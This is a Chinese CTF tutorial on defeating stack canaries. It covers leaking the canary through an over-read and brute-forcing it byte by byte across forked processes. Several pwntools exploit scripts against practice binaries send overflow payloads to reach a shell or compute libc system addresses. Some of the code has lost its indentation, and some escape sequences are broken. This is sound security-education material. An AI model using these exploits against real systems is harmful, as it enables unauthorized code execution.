Pwn专题(1.1)——绕过Stack Canaries的各种姿势
绕过canary的各种姿势
0x01 利用格式化字符串漏洞绕过canary
首先查看leak_canary程序开启的保护。可以发现程序开启了Canary和NX。

使用IDA进行静态分析,发现vuln函数为可疑函数。

vuln函数如下所示,read函数处存在栈溢出。

在函数名称栏里发现“getshell”函数,记录函数地址。

前面我们已经计算出buf的空间,后面紧跟的就是canary,所以我们只需要再填充12个字符,之后填充getshell的地址就可以了。

最后编写exp。
#版本一
from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\n")
offset = 0x70-0xC
payload = (offset)*"a" + "b"
p.send(payload)
p.recvuntil("ab")
#得到canary的值
canary = u32(p.recv(3).rjust(4,b"\x00"))
payload2 =(offset)*b"a" + p32(canary) + b"b"*12 + p32(get_shell)
# payload2= buf + canary + canary到返回地址的大小 + 返回地址
p.send(payload2)
p.interactive()
#版本二
from pwn import *
context.binary = 'ex2'
#context.log_level = 'debug'
io = process('./ex2')
get_shell = ELF("./ex2").sym["getshell"]
io.recvuntil("Hello Hacker!\n")
# leak Canary
payload = "A"*100
io.sendline(payload)
io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))
# Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
io.send(payload)
io.recv()
io.interactive()

0x02 one-by-one爆破canary
每次进程重启后Canary的值不同,但是同一进程中的不同线程Canary的值是相同的,并且通过fork函数创建的子进程Canary也是相同的,因为fork函数会直接拷贝父进程的内存。所以可以利用这个特点将Canary逐个字节爆破出来。
print "[+] Brute forcing stack canary "
start = len(p)
stop = len(p)+8
while len(p) < stop:
for i in xrange(0,256):
res = send2server(p + chr(i))
if res != "":
p = p + chr(i)
#print "\t[+] Byte found 0x%02x" % i
break
if i == 255:
print "[-] Exploit failed"
sys.exit(-1)
canary = p[stop:start-1:-1].encode("hex")
print " [+] SSP value is 0x%s" % canary
#版本二
#爆破模板
log.info("---------------------------爆破canary-----------------------------------")
canary = "x00"
for x in xrange(3):
for y in xrange(256):
# 条件准备
r.send("a"*offset+canary+chr(y))
if 判断正确条件:
# ……code……
else:
canary = canary+chr(y)
log.info('At round %d find canary byte %#x' %(x, y))
r.recv()
break
log.info("爆破出canary的值为%#x"%(u32(canary)))
查看程序开启的保护。

使用IDA进行静态分析,发现“fork”函数,可以考虑爆破。

sub_80487FA函数如下图所示,read函数存在栈溢出。

#coding:utf-8
from pwn import *
r = process("pwn2")
file = ELF("./pwn2")
libc = ELF("./libc.so.6_x86")
log.info("---------------------------条件准备-----------------------------------")
print " puts_plt_addr:"+hex(file.plt['puts'])
print " puts_got_addr:"+hex(file.got['puts'])
r.recv()
r.sendline("Y")
r.recv()
r.sendline("daddy")
r.recv()
r.send("a"*16+"x00")
log.info("---------------------------爆破canary-----------------------------------")
str1 = r.recv()
true_len = 46
canary = "x00"
for x in xrange(3):
for y in xrange(256):
r.sendline("Y")
r.recv()
r.sendline("daddy")
r.recv()
r.send("a"*16+canary+chr(y))
if "<unknown>" in r.recvuntil("[*] Do you love me?[Y]",drop=True):
a=123
else:
canary = canary+chr(y)
log.info('At round %d find canary byte %#x' %(x, y))
r.recv()
break
log.info("爆破出canary的值为%#x"%(u32(canary)))
log.info("---------------------------测试canary正确性-----------------------------------")
r.sendline("Y")
print r.recv()
r.sendline("daddy")
print r.recv()
payload = "a"*16+canary+"a"*12+p32(file.plt['puts'])+"aaaa"+p32(0x0804833D)
r.sendline(payload)
print r.recv()
#版本三
canary = '\x00'
for i in xrange(3):
for j in xrange(256):
io.sendline('Y')
io.recv()
io.sendline('%19$p') #泄露栈上的libc地址
io.recvuntil('game ')
leak_libc_addr = int(io.recv(10), 16)
io.recv()
payload = 'A'*16 #构造payload爆破canary
payload += canary
payload += chr(j)
io.send(payload)
io.recv()
if ("" != io.recv(timeout = 0.1)): #如果canary的字节位爆破正确,应该输出两个" Do you love me?",因此通过第二个recv的结果判断是否成功
canary += chr(j)
log.info('At round %d find canary byte %#x' %(i, j))
break
log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x2ed3b + 0x3b060
binsh_addr = leak_libc_addr - 0x2ed3b + 0x15fa0f
log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr))








